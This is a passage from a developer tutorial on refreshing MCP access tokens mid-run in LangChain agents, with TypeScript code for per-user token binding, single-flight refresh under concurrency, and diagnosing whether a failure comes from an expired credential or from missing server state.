style="color:#0B1633;font-weight:600">get</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> userId </span><span class="token operator">=&gt;</span><span class="token plain"> store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function-variable function" style="color:#0B1633;font-weight:600">save</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> next</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      store</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> next</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">issueTokens</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token number" style="color:#C43300">500</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">connectAs</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'alice'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> serverUrl</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">callAdd</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">client</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">sleep</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">2_500</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">all</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">[</span><span class="token function" style="color:#0B1633;font-weight:600">callAdd</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">client</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">callAdd</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">client</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Tokens issued: </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">issued</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">httpServer</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>This client comes from <code>connectAs()</code>, with a <code>TokenService</code> backed by a simple <code>Map</code>. Its refresh grant is <code>issueTokens()</code>, and its margin is 500 milliseconds, because these tokens only live for two seconds.</p>
<p>It calls <code>add</code>, waits until the token expires, and then makes two calls at the same time.</p>
</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="run-it">Run it<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#run-it" class="hash-link" aria-label="Direct link to Run it" title="Direct link to Run it" translate="no">​</a></h3>
<ol>
<li class="">
<p>Run the script:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">node --import tsx prove-refresh.ts</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Check the output. You should see:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">Fixed header:</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  server got access_token_1: 200</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  server got access_token_1: 401</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  the call failed</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Token hook:</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  server got access_token_2: 200</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  server got access_token_3: 200</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  server got access_token_3: 200</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Tokens issued: 3</span><br></span></code></pre></div></div>
</li>
</ol>
<p>There it is. The fixed-header client sent <code>access_token_1</code> twice. The first request succeeded. The second got a <code>401</code>, because the token had expired.</p>
<p>The other client started with <code>access_token_2</code>. After the pause, both of its calls sent <code>access_token_3</code>, the refreshed token, without creating a new MCP client.</p>
<p>The last line proves something else, too. Two calls needed a new token at the same moment, and only one refresh happened. Three tokens were issued in total, not four.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="whose-token-is-it">Whose token is it?<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#whose-token-is-it" class="hash-link" aria-label="Direct link to Whose token is it?" title="Direct link to Whose token is it?" translate="no">​</a></h2>
<p>The example so far has one user. A hosted application may have many users running agents concurrently.</p>
<p>Suppose Alice and Bob each start a run, but the application keeps the active token in a module-level variable:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">let</span><span class="token plain"> currentAccessToken</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token plain"> </span><span class="token operator">|</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>Every run in the same Node.js process shares that variable:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">A shared variable leaks one user's credential to another</figcaption><ol class="steps_ptmz" aria-label="A shared variable leaks one user's credential to another"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Alice's run sets <code>currentAccessToken</code> to Alice's token</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Bob's run sets <code>currentAccessToken</code> to Bob's token</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Alice's next MCP request reads <code>currentAccessToken</code></span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R">Alice's request carries Bob's credential</span></div></li></ol></figure>
<p>Alice's next request could go out with Bob's access token. Depending on the permissions behind it, that's a cross-user security failure.</p>
<p>The <code>userId</code> argument in <code>authProviderFor()</code> prevents the transport from reading an arbitrary shared token. Each run creates an MCP client bound to its user, and <code>token()</code> always loads tokens for that user.</p>
<p>Here's how that looks in a full agent run. We'll put it in <code>run-agent.ts</code>, in two parts.</p>
<ol>
<li class="">
<p>Create <code>run-agent.ts</code> and set up what every run shares:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> loadMcpTools </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@langchain/mcp-adapters'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createAgent </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'langchain'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> connectAs </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./mcp-auth.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> TokenService </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./token-service.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> tokenStore </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./token-store.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> refreshAccessToken </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./refresh-access-token.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tokens </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">TokenService</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tokenStore</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> refreshAccessToken</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> serverUrl </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_SERVER_URL</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>There's one <code>TokenService</code> for the whole application. It's safe to share, because it never holds "the current token". It stores tokens by user ID.</p>
<p><code>token-store.ts</code> is your application's own <code>TokenStore</code>, backed by wherever it keeps sessions.</p>
</li>
<li class="">
<p>Add <code>runAgentFor()</code>, which runs the agent for one user:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">runAgentFor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> question</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> client </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">connectAs</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">userId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> serverUrl</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">try</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tools </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">loadMcpTools</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'mcp'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> agent </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createAgent</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      model</span><span class="token operator">:</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MODEL</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      tools</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> agent</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">invoke</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      messages</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> role</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'user'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> content</span><span class="token operator">:</span><span class="token plain"> question </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">finally</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> client</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
</li>
</ol>
<p>Your application takes the user ID from its authenticated session and passes it to <code>runAgentFor()</code>. From there:</p>
<ol>
<li class=""><code>connectAs()</code> creates an MCP client tied to that user.</li>
<li class=""><code>loadMcpTools()</code> turns the server's tools into LangChain tools that call through that client.</li>
<li class=""><code>createAgent()</code> hands the tools to the model.</li>
<li class="">When the run ends, <code>client.close()</code> releases the connection, even if the agent threw an error.</li>
</ol>
<p>The run needs the user's identity, not the user's access token:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">The run carries identity, not the token</figcaption><ol class="steps_ptmz" aria-label="The run carries identity, not the token"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">MCP request</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">The client's <code>token()</code> knows the user ID</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R"><code>TokenService</code> loads that user's token</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Refreshes it if needed</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Request sent with that user's token</span></div></li></ol></figure>
<p>Nothing puts the access token in LangGraph state, the prompt, or a checkpoint.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-if-two-tool-calls-refresh-at-the-same-time">What if two tool calls refresh at the same time?<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#what-if-two-tool-calls-refresh-at-the-same-time" class="hash-link" aria-label="Direct link to What if two tool calls refresh at the same time?" title="Direct link to What if two tool calls refresh at the same time?" translate="no">​</a></h2>
<p>The proof script made two requests at once. That matters because agents often call tools in parallel.</p>
<p>If two requests for the same user discover an expiring token at the same time, both might try to refresh it.</p>
<p>With refresh-token rotation, a successful refresh can invalidate the previous refresh token. A second refresh using that old value might fail, or trigger reuse detection that revokes the grant. Two requests shouldn't race to refresh the same user's token.</p>
<p><code>TokenService.refresh()</code> prevents it. The <code>refreshing</code> map holds one pending refresh per user, and any request that needs a new token while one is running waits for that same promise:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">One refresh, two requests</figcaption><ol class="steps_ptmz" aria-label="One refresh, two requests"><li class="item_fcGx"><div class="columns_z60Q lanes_Nvhu"><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">Request A</span><ol class="steps_ptmz" aria-label="Request A"><li class="item_fcGx"><div class="box_IgAy muted_Xcva"><span class="text_K99R">Token expiring</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Start the refresh</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Save the new token</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Send with the new token</span></div></li></ol></div><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">Request B</span><ol class="steps_ptmz" aria-label="Request B"><li class="item_fcGx"><div class="box_IgAy muted_Xcva"><span class="text_K99R">Token expiring</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Find the refresh already running</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Wait for it</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Send with the same new token</span></div></li></ol></div></div></li></ol></figure>
<p>That's why our test issued one replacement token for the two concurrent requests.</p>
<p>The map only covers one Node.js process. If your application runs on several instances, two of them can still refresh the same user's token at once. In that case, take a lock in shared storage, such as a row lock in the database that holds the tokens, and read the token again after you get the lock. Another instance may have refreshed it while you waited.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-about-state-between-tool-calls">What about state between tool calls?<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#what-about-state-between-tool-calls" class="hash-link" aria-label="Direct link to What about state between tool calls?" title="Direct link to What about state between tool calls?" translate="no">​</a></h2>
<p>Not every tool failure after a pause comes from an expired token.</p>
<p>Consider an MCP server with two tools: <code>initialize_workspace</code> creates a workspace, and <code>search_workspace</code> expects that workspace to exist when it runs later.</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Valid token, missing state</figcaption><ol class="steps_ptmz" aria-label="Valid token, missing state"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">initialize_workspace()</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Success</span></div></li><li class="item_fcGx pause_pVV3"><span class="pauseText_AMAQ">later</span></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">search_workspace()</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R code_IywH">workspace not initialized</span></div></li></ol></figure>
<p>Authentication succeeds, but the server can't find the workspace state created by the earlier call.</p>
<p>Since the 2026-07-28 revision of the MCP specification, the protocol has no sessions. Every request stands on its own, so a server can't tie state to a connection.</p>
<p>Instead of depending on connection state, the server can return a workspace ID and require it on later calls:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">State carried by an explicit handle</figcaption><ol class="steps_ptmz" aria-label="State carried by an explicit handle"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">initialize_workspace()</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R code_IywH">workspace_id: ws_123</span></div></li><li class="item_fcGx pause_pVV3"><span class="pauseText_AMAQ">later, on any request</span></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">search_workspace(workspace_id: "ws_123", query: ...)</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Results</span></div></li></ol></figure>
<p>The handle travels through the agent's tool calls like any other argument. It doesn't depend on how the client manages connections.</p>
<p>Older servers that speak an earlier protocol revision may still keep state in a session, identified by an <code>Mcp-Session-Id</code> header. The SDK's transport remembers that ID for as long as you use the same client. Create a new client, and you start a new session.</p>
<p>For an older, session-based server, <code>runAgentFor()</code> also keeps the same MCP client throughout a run. For newer stateless servers, later calls must pass whatever explicit handle the server returned.</p>
<p>Either way, the MCP client can remain open longer than one access token. <code>token()</code> resolves a current credential whenever it sends a request.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="which-lifecycle-broke">Which lifecycle broke?<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#which-lifecycle-broke" class="hash-link" aria-label="Direct link to Which lifecycle broke?" title="Direct link to Which lifecycle broke?" translate="no">​</a></h2>
<p>When an agent resumes after a pause, check two separate things:</p>
<ul>
<li class="">Credential lifetime: is this request carrying a valid token?</li>
<li class="">State lifetime: does the server still have what an earlier tool call created?</li>
</ul>
<p>A valid token won't restore missing server state, and preserving server state won't fix an expired token. The error helps narrow down which one you're dealing with.</p>
<p>If a later call returns <code>401 Unauthorized</code>, follow the credential. Don't assume every <code>401</code> means an expired token:</p>
<ol>
<li class="">Did the application get a new token? Check that <code>refreshGrant</code> ran and <code>save()</code> stored the result.</li>
<li class="">Did <code>token()</code> return it? Log the token's expiry, never the token itself.</li>
<li class="">Did the request carry it? Look for a fixed <code>Authorization</code> header in <code>requestInit</code>.</li>
</ol>
<p>If authentication succeeds but the server can't find something an earlier call created, follow the state:</p>
<ol>
<li class="">Does the server return a handle the agent can pass back?</li>
<li class="">If it's an older server that relies on sessions, did the run create a new client between the calls?</li>
</ol>
<p>If the refresh token is no longer usable, <code>ReauthorizationRequiredError</code> reaches the application. It needs to ask the user to sign in again rather than retrying inside the agent.</p>
